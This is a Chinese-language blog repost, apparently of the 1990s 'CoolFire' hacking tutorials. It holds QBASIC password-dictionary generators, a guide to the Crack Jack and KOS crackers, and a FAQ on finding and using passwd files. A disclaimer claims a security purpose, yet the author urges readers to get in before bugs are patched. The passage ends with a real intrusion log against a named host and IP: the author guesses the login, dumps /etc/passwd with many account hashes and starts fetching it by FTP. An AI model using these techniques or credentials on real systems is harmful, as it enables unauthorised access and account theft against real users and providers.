[A8]這位網友可能是使用 Windoz 95 的 DOS BOX 所出現的訊息吧!! VCPI 要在 EMM386.EXE 掛
上後有效, 也就是說最好在純 DOS 下掛上 EMM386.EXE 再使用 Crack Jack, 另外使用的時候
也不要在 EMM386.EXE 後下 NOEMS 的參數, 不然 CJack 也不會理你, 至於怎麼在 Win95 的
DOS BOX 中使用 CJack ?? 我也不知道! 有沒有人試成功的, 請出個聲吧!!

[Q9]我如果由www得到密碼檔,破解之後我要從那輸入密碼?
[A9]嗯, 很簡單呀!! 啟動你的 Telnet 軟體 (NetTerm... Telnet... etc.) 連線到 www.xxx.xxx.xxx 去, 然
後就可以輸入密碼, 依正常程序 Login 就成了!! 加油喔~~ Enjoy Hacking~:)

[Q10]我無法將字典檔抓下來, 可否用E-MAIL寄給我
[A10]........ 誰來幫我回答~~~~?

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的保護, 如果
你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫
這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人 Crack Password 若有人因此文件
導致惡意入侵別人的電腦或網路, 本人概不負責 !!
經過了上一次的實戰, 該 ISP 已經灰頭土臉, 當然也已經將被我揪出密碼的 User Password 改掉
了, 但是系統安全部分還是沒有多大的改進, 唉.... 有點傷心. 這一次的內容主要在加強上次所
說明的字典檔部分, 因為我又想到另外一個方法可以快速的產生字典檔, 而且用這個方法產生的字
典檔更嚇人; 當然還要跟大家介紹另一個好用的 Password Crack 工具, 並加上最近的一些信件整
理出來的 FAQ 等, 希望能在過年以前就將這一篇寫好!
本次主題: 字典檔的維護及更新
連接位址: 無
特別說明: 快點加強一下你的字典檔吧 !! 不然怎麼破密碼哩?!
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
**** 課程開始 ****
依我看, "字典" 這個討論應該是談不完的了, 因為有太多的方法了, 但是為了維護你自身的權益, 自
己的密碼最好保管好, 我在前幾天剛拿到 KOS 的時候, 拿她來跑一個 ISP 的 /etc/passwd 檔案, 原
先單單使用 Crack Jack 只找到 22 組的密碼, 用了 KOS 加上 Crack Jack 居然共找到了 88 組的密
碼, 還好該 ISP 不像 高-NET 一樣是屬於 "時數收費" 的收費方式, 不然可能有許多的 User 自己當
了冤大頭都還渾然不知. 所以這個討論還是免不了的, 如果你覺得你不需要這些知識, 請跳過去吧!!
上次的字典檔討論, 我寫了一個簡短的程式出來產生了 3120 組的密碼, 但是這些密碼並不一定是一
個 "字", 也就是說產生完全合乎我們所限定的 "法則", 但卻不一定是一個已存在的字, 所以如果要
產生一個 "高效率" 的字典檔, 使用上次所說的那種方式就不是一個很好的方法了. 以上次所寫的程
式 MAKEDIC.BAS 所產生的 MyDic.txt 為例, 其中的 braard clale cleoe dgeiing dgeie.......等
字就不是很 "正常" 的字, 當然也有可能是某人的密碼, 但其機率小之又小.
這次所寫的程式名稱為 TXT2DIC.BAS, 我們還是先使用大家都熟悉的 QBASIC 來寫, 以方便日後的修
改, 先說明一下原理: 這個程式是一個自動產生字典檔的程式, 我們是經由給程式一個 "文字檔", 然
後由程式自該文字檔中 "抽取出" 字出來, 這些文字檔必需是英文的文字檔, 如果使用中文的文字檔
的話程式跑起來會有問題, 英文文字檔的取得可由英文版軟體的 Readme 檔或網路上的英文版學術論
文或其它的來源.
當然有可能在文件中會出現像 www.showtower.com.tw/~fetag 的字眼, 我們總不能把它也列入字典檔
中吧! 所以程式中有一點小小的設計, 就是該字若字母數大於 10 則不列入考慮, 我們也可以使用上
一次所介紹的子音+母音... 等的公式來作檢查法, 但是我沒有太多的時間作這些事, 留待有空的人來
寫吧!!
底下就是該程式原始碼, 請各位以 QBASIC 來啟動並執行它:
--------------- Txt2Dic.BAS Start Here ---------------------------------------------------------------------------------------
CLS
PRINT "Txt2Dic Version 0.1B (C)1997 By CoolFire ReChange: CoolFire"
PRINT "[Source Released, For Changer, Add Your Name in ReChange Field]"
PRINT
LINE INPUT "Text File Name: "; TxtFile$
LINE INPUT "Output Dic Name: "; DicFile$
OPEN TxtFile$ FOR INPUT AS #1
OPEN "TMPFILE1.$$$" FOR OUTPUT AS #2
REM Filter for text file
ReInput:
IF EOF(1) THEN GOTO EndFile
LINE INPUT #1, L$
ReTry:
L$ = LTRIM$(L$)
L$ = RTRIM$(L$)
TmpValue = INSTR(L$, " ")
IF TmpValue <> 0 THEN
DicTxt$ = LEFT$(L$, TmpValue - 1)
PRINT #2, DicTxt$
LOCATE 7, 1: PRINT "Step 1, Add word : "; DicTxt$; STRING$(10, " ")
L$ = RIGHT$(L$, LEN(L$) - TmpValue)
GOTO ReTry
ELSE
GOTO ReInput
END IF
END
EndFile:
CLOSE
REM Filter for special chapter and lower-case the word
OPEN "TMPFILE1.$$$" FOR INPUT AS #1
OPEN DicFile$ FOR OUTPUT AS #2
Special$ = "-,.:<>?*()/_" + CHR$(34)
DO
LINE INPUT #1, L$
FOR I = 1 TO 13
SP$ = MID$(Special$, I, 1)
TmpValue = INSTR(L$, SP$)
IF TmpValue <> 0 THEN
LOCATE 8, 1: PRINT "Remode special word :"; L$; STRING$(10, " ")
L$ = ""
END IF
NEXT I
IF L$ <> "" THEN
L$ = LCASE$(L$)
PRINT #2, L$
END IF
LOOP UNTIL EOF(1)
CLOSE
KILL "TMPFILE1.$$$"
END
--------------- Cut Here, End of Txt2Dic.BAS --------------------------------------------------------------------------------
我只花了幾分鐘寫這個程式, 因為時間緊迫 (為了在過年前將此篇送出), 所以有些考慮到的地方都沒
有作修改, 在這裡再作些說明: 這個程式的第一個部份為分解字串, 將碰到的 CHR$(20) 也就是空白
分離出來, 這是分解一句話中字與字最簡單的方法, 並且會將分解出來的字存在一個暫存檔中, 作為
第二部分的使用. 第二部分將暫存檔讀入, 並過濾非正常的字母出現, 我只讓它過濾了十三種特殊字
如: -,.:<>?*()/_" 等, 當然如果你可視需要再作刪減的功能.
原本想要再寫排序及過濾重覆字的功能, 但是這些功能不是那麼需要, 因為在排序方面你可以使用電
腦中 DOS 的 SORT 或 Crack Jack 的 JSort, 過濾重覆字也有 CoolFire 的 De-Sort 可以使用, 所
以就先在這裡停住, 有心的讀者可以自行修改, 修改完後也請傳送一份給我, 作為日後教學的參考之
用, 或提供網友們分享.
仔細看一看這個程式還是有很多地方沒有作修正, 或是沒有作 Error Handle 等, 但已經給各位原始
程式了, 大家就試著修改看看吧! Qbaisc 是一個很簡單的語言, 只要你試試看就可以把這個程式改得
很好了. 用這個程式試了一個文字檔, 發現它找到的字都是一些很簡單的字, 當然跟你所給它的材料
有很大的關係, 使用這個程式配合一個很棒的材料檔, 應該可以作出一份很棒的字典檔, 希望大家可
以好好的利用它.
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
**** 新工具程式 Global KOS Krack (KOS) ****
記得從上次講過 Crack Jack 之後好像就沒有再講過 Password Crack 的工具程式了, 當然也跟最近
沒有甚麼好程式出現有關係, 像前一陣子風行的 Mail Bomb 最近也沒有再見到改版, 倒是出現了一
些寫得不怎麼樣的 Bomb 程式, 了無新意, 我現在還是在用 KaBoom 3.0, 你呢 ?? 前幾天無聊逛了
一下國外的 Crack 站台, 意外的發現了一個叫作 KOS 的東西, 傳回來試了一試果然不錯, 而且裡面
還包含了一個 3MB 多的字典檔, 這對字典檔中缺料的讀者們肯定會有幫助的.
KOS 是許多工具的集合, 由一些批次檔對這些工具作了很棒的整合, 它必須與 Crack Jack 一起使用
才能運作, 平常我們在處裡 Password Crack 時都需要考慮到第一個字母大寫, 加數字, 字母大小寫
轉換等等的工作, 都可以由 KOS 一手包辦, 你只要取得 KOS, 就可以配合著 Crack Jack 將以前單單
使用 Jack 尋找的 /etc/passwd 再翻出來 Crack 看看, 保證你會體會到擁有 KOS 的好處.
像前面所說的, 我將以前只找到 22 組密碼的 /etc/passwd 重新跑過, KOS 居然可以幫助我找出 88
組的密碼, 足可見 KOS 可以增強 Crack Jack 四倍的 Cracking 能力, 作者宣稱 KOS 在 NT 上開了
DOS 視窗就可以跑, 但是我以 NT 4.0 中文版及 Windows 95 (97 年版) 測試後還是因為 Jack 無法
在上面運作而停擺, 只好回到純 DOS 模式下才能夠使用, 但是 KOS 還是能發揮它強大的功能, 唯一
需要的就是一部速度快一點的機器, 當然還有時間也是必需的.
我使用 KOS + Crack Jack 在 Pentium-100 32MB RAM SCSI-II HDD 上跑一個 /etc/passwd 檔加上我
的字典檔 (passwd 檔案大小為 197K, 字典檔大小為 5.1MB), 跑了四天都還沒有完全跑完的情況, 就
可以知道 KOS 盡了多大的努力在幫我們找出密碼, 當然如果你的 /etc/passwd 只有幾 K 大小可能只
消幾個小時就可以全部跑完了!! 不過要找出 root 密碼, 可能還是要靠點運氣才行了....
KOS 的壓縮檔中還包含了 SHADOW.C 及 UNSHADOW.C 兩個解 shadow 的程式, 可在 Unix 主機上編譯
以取得被 shadow 過的 /etc/passwd, 在這裡也順便提出, 網友們不要忘了順便試試這兩支程式.
想要知道哪裡可以拿到 Global KOS Krack ?? 到我們的 Home Page 看看吧!!
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
**** CoolFire FAQ ****
[Q1]請問一下你的letmein 2.0何時出來?
[A1]因為最近實在是太忙了, 所以有很多的事情都沒有辦法依照預定的行程作完, 所以最近也都不敢
再多排訂行程, 看看最近首頁更新的狀況也應該知道我們實在是沒有時間多作別的事了, 所以要
先跟期待 LetMeIn 2.0 的人先說生抱歉, 但是我們的 Idea 還是在持續增加中, 所以如果有空
寫 LetMeIn 2.0 的時候將會推出很棒的版本, 請再等等吧~~~ 這陣子先過了再說!!
[Q2]請問一下letmein 1.0 的setup keys-要如何設定? 如果用 netterm 要找login name & passwd
在letmein要怎樣設定不斷換行, 而不會文字一直加長?
[A2] LetMeIn 1.0 已經有作一份中文的簡易說明來補充原先說明檔的不足, 所以如果你對該軟體有
不清楚的地方請先閱讀這個說明檔之後再提出問題, NetMeIn 1.0 是在 NetTerm 下作的測試,
所以使用 NetTerm 配合 LetMeIn 應該不會有問題, 請再試試看!
[Q3]請問 "最新之系統安全 mailliast" 要到那裡去看? 還是要訂閱? 如何訂閱呢? 是英文or 中文?
[A3]原本想要在這次首頁更新的時候加入一些 Mail List 訂閱的連結點, 但是因為時間太匆促所以
沒有作, 先跟各位說聲抱歉了, 你可在國外的 Hacker 站找到, 或是先訂閱下面這一個 List 來
看看, 不過目前這類的 Mail List 都是英文的.

寫到: Majordomo@ns2.rutgers.edu
標題: (空白不填)
內容: SUBSCRIBE www-security 你的 E-Mail 信箱
[Q4]為什麼 De-sort 不能用? Key In ..... 為什麼會這樣??
C:\Program Files\LetMeIn>de-sort
De-Sort V0.1 (C)1996 By FETAG Software Development Co. R.O.C. TAIWAN.
This program will:

[1] Delete reiteration word from a dictionary file
[2] Write the new file to a temp file
[3] Delete old dictionary file
[4] Rename new dictionary file as old one's file name
Dictionary file name: 1
{Now Start To Check}
Some error found when program processing, Code= 53
De-Sort Author: James Lin E-Mail: fetag@stsvr.showtower.com.tw
FETAG Software Development Co: http://www.showtower.com.tw/~fetag
C:\Program Files\LetMeIn>
[A4]出現 Error Code = 53 代表開檔有問題, 你所輸入的檔名 '1' 這個檔案可能不存在, 你
應該檢查看看這個檔案是否存在於目前目錄, 否則就應該給它目錄名稱, 其它的 Error
Code 可以參考 QuickBasic 或 Basic PDS 的書籍來查出錯誤發生的原因是甚麼!
[Q5]小弟自從放寒假後,"高-Net"費用 往上狂飆, 急起直追請問你有Crack 過 "高-Net"嗎 ??
"高 - Net"的防備似乎蠻強的!我是你的忠實讀者,你的作品 coolhc-1,coolhc-2,cool-3,
我都有努力鑽研學習,但就是弄不到 etc/passwd, 不知是不是我資質太低 ~~#@$% 煩請高
手幫忙弄到 etc/passwd Ps: coolhc-2,and coolhc-3 最後的那句(高-Net 還是除外) 是
說"高-Net"可以或不可以 Crack ,如果不可以就不用幫我Crack 了!
[A5]當然還是有漏洞, 我有稍微試過, 只要是新發現的 Bug, 他們會很快的有人將漏洞補上,
而且該 ISP 有許多的工作人員, 並且採用計時收費的方式, 所以就算你 Crack 了, 也是
將帳目算到別人頭上, 有點缺德, 所以不需要 Crack 它, 大家不要申請它這個 ISP 就好
了! 不然還是請你看看系統安全的 Mail List 解最新的系統安全消息! 比它們快一步進
入系統就可以了! 這個文章還是以教學為目的, 無法給你 ISP 的 /etc/passwd!
[Q6]Hinet 密碼 to Dic: 因為 Hinet 的密碼格式是 1abcdefg 所以我就依照 coolhc-3 的程
式設計了這個東西! (0aaaaaaa ~ 9zzzzzzz) 希望會有用! 歡迎批評,指教,修改.
--------------- HinetPas.BAS Start Here ---------------------------------------------------------------------------------------
DIM No$(10)
DIM Eng$(26)
DIM LastWord$(26)
DIM a$(26)
DIM b$(26)
DIM c$(26)
DIM d$(26)
DIM e$(26)
DATA "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
DATA "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
FOR I = 1 TO 10
READ No$(I)
PRINT No$(I)
NEXT I
FOR I = 1 TO 26
READ Eng$(I)
NEXT I

FOR I = 1 TO 26
READ LastWord$(I)
NEXT I
FOR I = 1 TO 26
READ a$(I)
NEXT I
FOR I = 1 TO 26
READ b$(I)
NEXT I
FOR I = 1 TO 26
READ c$(I)
NEXT I
FOR I = 1 TO 26
READ d$(I)
NEXT I

FOR I = 1 TO 26
READ e$(I)
NEXT I

OPEN "Hinetpas.txt" FOR OUTPUT AS #1
FOR I = 1 TO 10
FOR J = 1 TO 26
FOR k = 1 TO 26
FOR l = 1 TO 26
FOR m = 1 TO 26
FOR n = 1 TO 26
FOR o = 1 TO 26
FOR p = 1 TO 26
PRINT #1, No$(I) + Eng$(J) + LastWord$(k) + a$(l) + b$(m) + c$(n) + d$(o) + e$(p)
NEXT p
NEXT o
NEXT n
NEXT m
NEXT l
NEXT k
NEXT J
NEXT I
CLOSE : END
--------------- Cut Here, End of HiNetPas.BAS --------------------------------------------------------------------------------
[A6]謝謝這位網友, 你的 For... Next 的 Deep 實在太長了, 不得不將格式改變一下才能放
進文章中. 也希望有更多人的集思, 寫出更多字的字典檔!

[Q7]我用pass2dic時沒辨法轉成文字檔ㄟ, 會有錯誤說(以下的訊息)請問要如何更正...
Some error found when program processing, Code= 75
[A7]試過了, 都沒有辦法產生這樣的 Code, 所以請看看磁碟是否防寫, 或參考 BasicPDS 的
書籍尋找該 Error Code 的解釋或說明.
[Q8]請問一下,passwd除了會放在/etc/之下,還有可能會放在哪兒?
[A8]有有可能是 /etc/ 目錄中的 passwd.??? 或 shadow 或 shadow.??? 都有可能.
[Q9]我有在你的HOMEPAGE DOWNLOAD CoolHC#1.txt 裡面有些步驟不懂如:1.(首先要先連上某
一台你已經有帳號的 Telnet 主機.....)? 是不是在剛上HINET時出現撥號視窗下選=3
進入TELNET?還是SELECT=1 進入PPP後用WS-FTP 找尋etc/pass 的檔案? 2.(我有在你的
HOMEPAGE DOWNLOAD A letme.. of program 有點像claymore,不夠不會使用 Q.他不把所
有的設定都用好後按"START BF"在 DELAY 未結束時,把游標移到要 CRACK 的 PASSWORD
BOX?但是出現了很長的數字也沒有 CRACK? 3.(我在一些國外的WAREZ 看過有關HACK UNIX
的文件裡有寫都包涵一段 "C"語言,是不是能在 TELNET 下輸入執行程式就會自動 CHECK
PASSWORD?是不是你在 "COOLHC#1.TXT裡有保留一段進入 SYSTEM 的程式? 4.(有時用WS-FTP
下找PASSWORD時,不是隱藏就是沒用的檔案,是否有方法讓隱藏檔顯示? 5.你有一個AUTOHACK
是不是一種利用撥電話的方式進入主機?(有點像電影中的戰爭遊戲)? 6.像SHADOW.C的檔
案要如何組譯成執行檔?
[A9]好多的問題喔, 我一個一個回答吧! 1.LetMeIn! 是用在 PPP 模式, 不是 Telnet 模式, 你
先連上 PPP 模式後開啟 NetTerm 然後開 LetMeIn! 在 LetMeIn! 中作好設定按下 Start鍵
後再回到 NetTerm 等待自動輸入. 2.Telnet 可在你的 Win95 中找到, 只要連上 PPP 模式
就可以使用, 你也可以使用 NetTerm 之類的軟體, 不一定要在連線時選 Telnet 模式.
3. LetMeIn! 需要在啟動後回到 Telnet 軟體才會自動 Crack 4.AutoHack 是自動撥號尋
找有連接數據機的電話號碼, 對 InterNet 來說可能沒有用出吧! 5.用這一期 CoolHC 所說
的 KOS 中有 Shadow.c 可以試試. 6.用 cc 指令可以編譯, 但要看你的 ISP 有沒有提供.
[Q10]請問我抓到的一些字典檔 .Z 格式, 為何無法用 uncompress 解開, 解開後都是一些亂碼
[A10]如果你用 Windows 或是 Win95 的話, 試著安裝 WinZip 應該就可以解開了 !!
[Q11]請問能夠提供更多的crack document嗎 (能有中文嗎,英文的有點吃力說)或是介紹更多的
Crack Tools.
[A11] CoolHC 就是中文的呀! 但是其它的當然只有英文的可以看羅, 現在有沒有多少人投入在
寫這樣的東西呀~~ 本期的新工具就有介紹 KOS, 如果下次有好工具也會一併提出來介紹,
若有網友使用的心得也可以傳給我放在 Home Page 上!

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()







這不是一個教學文件, 只是告訴你該如何破解系統, 好讓你能夠將自己的系統作安全的保護, 如果 你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦, 我是 CoolFire, 寫 這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人 Crack Password 若有人因此文件 導致惡意入侵別人的電腦或網路, 本人概不負責 !! 前幾次說到了 Net Coffee 店, 還好他們沒有提供客戶撥接上線的功能, 不然密碼或是帳號被人盜用 的客戶不就糗大了! 但是 CoolFire 在這兩周的探險中, 為了找一個酷似網路咖啡站台的 W3 密碼, 誤入一個號稱第一個提供網路撥接的 ISP, 且在 CoolFire 順利的抓回 /etc/passwd 之後, 使用了自己 寫的 PaSs2DiC + CJack 來解出密碼, 沒想到不用 1 分鐘, 就找出了 9 組 ID 與 Password 相同的密碼, 勿怪我沒有在這裡提醒大家, 還好我沒有找到 root password, 不然可能該系統就此停擺, 不可再見 天日也! (當然我不可能這麼作啦!). 看看最近興起的網路咖啡及各大網站的系統安全設施, 再加上 CoolFire 最近開會的時候遇到的情 況, 不難發現我們的國家正往高科技的領域快步邁進, 但是這些系統的安全性若不加強, 可能到時 候人家只要一台電腦再加上一台數據機就可以讓整個國家的金融及工商業崩潰! 大家要小心呀 ! ISP 是一般 User 撥接的源頭, 技術上理應比較強, 但還是輕易讓人入侵, 且又沒有教導 User 正確 的網路使用觀念 (Password 的設定及 proxy 的使用等), 實在不敢想像這樣的網路發展到幾年後會 是甚麼樣子 ?? 這一次的說明還是沒有談到新的技巧, 在 James 將首頁更新後各位應該已經可以從中學到許多東 西了, 如果想要學習入侵, 就一定要知道最新的資訊 (入侵本國的網路則不用, 反正沒人重視網路 安全..... 真失望), 在別人還沒將 Bug 修正之前就搶先一步拿到 /etc/passwd, 所以訂閱一些網路安全 的 Mail List 是必要的, 多看一些網安有關的 News Group 也是必要的 (不僅 Hacker 如此, ISP 更要 多注意這些資訊!). 日後有空再整裡一些 Mail List 給大家 !! 本次主題: 說明如何連接該 ISP 並且對其 /etc/passwd 解碼 連接位址: www.coffee.com.tw (203.66.169.11) 特別說明: 由於本次主題說明重點使用真實的位址及名稱, 所以 CoolFire 已經 Mail 給該網頁之維 護人員更改密碼, 但該網頁之 ISP 仍為新手之練習好題材! CoolFire Mail 給該網頁維護 人員之信件內容如下, 如果他還不盡快改掉, 我也沒辦法了! Mail sent to dhacme@tp.globalnet.com.tw: Subject: 請速更動網頁密碼 From: CoolFire 你的網頁作得不錯, 但是因為你所設定的密碼太容易為駭客所 ? 入侵, 請於見到此信後速速更改你的網頁進入密碼, 否則下次 若網頁遭到篡改, 本人概不負責!! **** 課程開始 **** 請注意: 由於本次所作的課程內容以實作為主, 除了本人 IP 有所更改, 一切都使用本人所用之 Telnet 軟體 Log 檔收錄, 故若道德感不佳者請勿閱讀以下之詳細破解內容, 否則本人概不負責! (連線到某一主機之後.... 此處的 ms.hinet.net.tw 是假的 Domain name) ms.hinet.net.tw> telnet www.coffee.com.tw Trying 203.66.169.11... Connected to www.coffee.com.tw. Escape character is '^]'. Password: (隨便按一下 Enter) Login incorrect www login: coffee (以 Hacker 的敏銳判斷 username=coffee password=coffee) Password: Last login: Thu Jan 9 10:41:52 from ms.hinet.net.tw 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽, 大家自己去看吧! ================================================================= (直接進入核心部份) www:~$ cd /etc www:/etc$ ls DIR_COLORS hosts.equiv printcap HOSTNAME hosts.lpd profile NETWORKING inet@ protocols NNTP_INEWS_DOMAIN inetd.conf psdevtab X11@ inittab rc.d/ at.deny inittab.gettyps.sample resolv.conf bootptab ioctl.save rpc csh.cshrc issue securetty csh.login issue.net securetty.old default/ klogd.pid sendmail.cf diphosts ld.so.cache sendmail.st exports ld.so.conf services fastboot lilo/ shells fdprm lilo.conf shutdownpid fs/ localtime skel/ fstab magic slip.hosts ftp.banner mail.rc slip.login ftp.deny motd snooptab ftpaccess motd.bak sudoers ftpconversions msgs/ syslog.conf ftpgroups mtab syslog.pid ftpusers mtools termcap gateways named.boot ttys gettydefs networks utmp@ group nntpserver vga/ host.conf passwd wtmp@ hosts passwd.OLD yp.conf.example hosts.allow passwd.old hosts.deny ppp/ (看看我們的目標長得如何???) www:/etc$ cat passwd root:abcdefghijklmn:0:0:root:/root:/bin/bash bin:*:1:1:bin:/bin: daemon:*:2:2:daemon:/sbin: adm:*:3:4:adm:/var/adm: lp:*:4:7:lp:/var/spool/lpd: sync:*:5:0:sync:/sbin:/bin/sync shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown halt:*:7:0:halt:/sbin:/sbin/halt mail:*:8:12:mail:/var/spool/mail: news:*:9:13:news:/usr/lib/news: uucp:*:10:14:uucp:/var/spool/uucppublic: operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: man:*:13:15:man:/usr/man: postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash nobody:*:-1:100:nobody:/dev/null: ftp:*:404:1::/home/ftp:/bin/bash guest:*:405:100:guest:/dev/null:/dev/null shan:Ca3LGA8gqDV4A:501:20:Shan Huang:/home/staff/shan:/bin/bash www:/U5N5/l0B.jWo:502:20:WWW Manager:/home/staff/www:/bin/bash test:aFoIbr40sdbiSw:503:100:test:/home/test:/bin/bash fax:aHhi5ZoJwWOGtc:504:100:FAX_SERVICE:/home/staff/fax:/bin/bash women:IiO94G5YrrFfU:505:100:Perfect Women:/home/w3/women:/bin/bash kanglin:aMjy/8maF4ZPHA:506:100:Kanglin:/home/w3/kanglin:/bin/bash coffee:AlwDa18Au9IPg:507:100:Coffee:/home/w3/coffee:/bin/bash bakery:aFm7GUGCuyfP2w:508:100:Bakery:/home/w3/bakery:/bin/bash carven:aPaqr3QAdw8zbk:509:100:Carven:/home/w3/carven:/bin/bash haurey:/2m87VjXC742s:510:100:Haurey:/home/w3/haurey:/bin/bash prime:nPOlsQhQFJ.aM:511:100:Prime:/home/w3/prime:/bin/bash tham:H2AOlPozwIIuo:512:100:xxxxxxxxxx:/home/w3/tham:/bin/bash ccc:aFiKAE2saiJCMo:513:100:ccc:/home/w3/ccc:/bin/bash sk:UPrcTmnVSkd3w:514:100:sk:/home/sk:/bin/bash services:9yBqHWfnnNr.k:515:100:xxxx:/home/w3/haurey/services:/bin/bash order:LpnMHVjy9M/YU:516:100:xxxx:/home/w3/haurey/order:/bin/bash corey:mhRsFO60hFsMU:517:100:xxxx:/home/w3/haurey/corey:/bin/bash richard:EmUWnU6Bj7hQI:519:100:richard:/home/w3/richard:/bin/bash lilian:Opx5xwctJTO1A:520:100:lilian:/home/w3/lilian:/bin/bash support:JdOqvTZqdZ9wQ:521:100:support:/home/w3/support:/bin/bash hotline:BiSzCJsDhVl7c:522:100:hotline:/home/w3/hotline:/bin/bash stonny:/UNPsb9La4nwI:523:20::/home/staff/stonny:/bin/csh bear:w/eF/cZ32oMho:524:100:bear:/home/w3/bear:/bin/bash lance:Pf7USG6iwgBEI:525:20:Chien-chia Lan:/home/staff/lance:/bin/tcsh taiwankk:ijPWXFmRF79RY:526:100:hotline:/home/w3/taiwankk:/bin/bash service:ulfWaOzIHC.M.:527:100:prime service:/home/w3/service:/bin/bash liheng:6hGixt6Kgezmo:528:100:prime liheng:/home/w3/liheng:/bin/bash caves:RyvviMcWTTRnc:529:100:gallery:/home/w3/caves:/bin/bash sales:CmtV4FZsBIPvQ:518:100:prime:/home/w3/prime/sales:/bin/bash kingtel:8E7f0PIQWfCmQ:530:100:kingtel:/home/w3/kingtel:/bin/bash recycle1:JgbZHVRE4Jf3U:531:100:recycle1:/home/w3/recycle1:/bin/bash recycle2:Qg85xgdnsqJYM:532:100:recycle2:/home/w3/recycle2:/bin/bash recycle3:XhyoUBFQspiS2:533:100:recycle3:/home/w3/recycle3:/bin/bash recycle:109mNZYIZtNEM:534:100:recycle:/home/w3/recycle:/bin/bash hxnet:KhB./jHw.XNUI:536:100:hxnet:/home/w3/hxnet:/bin/bash goodbook:MlD0tx.urQMYc:535:100:goodbook:/home/w3/goodbook:/bin/bash sales1:JmKzPOBMIIYUI:537:100:sales1:/home/w3/prime/sales1:/bin/bash rwu:Pai8mYCRQwvcs:539:100:rwu:/home/w3/kingtel/rwu:/bin/bash charliex:Of6HaxdxkDBDw:540:100:charliex:/home/w3/kingtel/charliex:/bin/bash jdlee:Mhq3gZNup9E3Q:538:100:jdlee:/home/w3/kingtel/jdlee:/bin/bash tkchen:GkTU8ecYIXEyw:541:100:tkchen:/home/w3/kingtel/tkchen:/bin/bash slb:Olf22.gHBZ.QQ:542:100:slb:/home/w3/kingtel/slb:/bin/bash s6t4:GnHFCPdZX7nkU:543:100:s6t4:/home/w3/kingtel/s6t4:/bin/bash lsh:GftygyOntHY6Y:545:100:lsh:/home/w3/kingtel/lsh:/bin/bash lilly:DhKHmlKPE6tRk:544:100:lilly:/home/w3/kingtel/lilly:/bin/bash nalcom:MhHdQ1mvge9WQ:546:100:nalcom:/home/w3/prime/nalcom:/bin/bash jordon:mPgNPVEkIEORM:547:100:jordon:/home/w3/jordon:/bin/bash toonfish:wTscIuas4EeTE:548:100:toonfish:/home/w3/toonfish:/bin/bash yahoo:If.UlNFTal.bk:549:100:yahoo:/home/w3/yahoo:/bin/bash basic:IgLUu9J03lbyU:550:100:basic:/home/w3/basic:/bin/bash wunan:QUHEiPefAaKsU:551:100:xxxxxxxx:/home/w3/wunan:/bin/bash kaoune:eVwM44uTLOpnY:552:100:kaoune:/home/w3/wunan/kaoune:/bin/bash shuchuan:KgPlk7TT6pmBk:553:100:shuchuan:/home/w3/wunan/shuchuan:/bin/bash fan:Jk6E9PqP7xemg:554:100:fan:/home/w3/toonfish/fan:/bin/bash (CoolFire 注: 因為使用 PaSs2DiC 很容易找出 ID 與 Password 相同的. 故除了 Coffee 外, 其 它我找到密碼的 EnCode Password 部份皆改過..... 除非你一個一個試啦~~~ 我沒說喔!) www:/etc$ exit logout Connection closed by foreign host. (可以走了 !! 改用 FTP 將 /etc/passwd 給抓回來吧!) ms.hinet.net.tw> ftp www.coffee.com.tw Connected to www.coffee.com.tw. 220- 220- 歡 迎 光 臨 ....... 以下略! 因涉及該 ISP 的名譽, 大家自己去看吧! 220- 220- 220- There are 0 users in FTP Server now. 220- 目前已有 0 使用者在此 Server 上. 220- If you have any suggestion, please mail to: 220- service@xx.xxxxxxx.xxx.xx. 220- 220- 220- 220 www FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready. (還是使用剛剛的帳號進入) Name (www.coffee.com.tw:YourName): coffee 331 Password required for coffee. Password: 230 User coffee logged in. Remote system type is UNIX. Using binary mode to transfer files. (直接到達檔案放置地點) ftp> cd /etc 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for file list. ttys fdprm group issue motd mtools profile securetty shells termcap skel csh.cshrc csh.login lilo inet default services HOSTNAME DIR_COLORS passwd passwd.OLD wtmp utmp gettydefs inittab.gettyps.sample ld.so.conf ld.so.cache at.deny fs magic rc.d syslog.conf printcap inittab sudoers vga diphosts mail.rc ppp NNTP_INEWS_DOMAIN 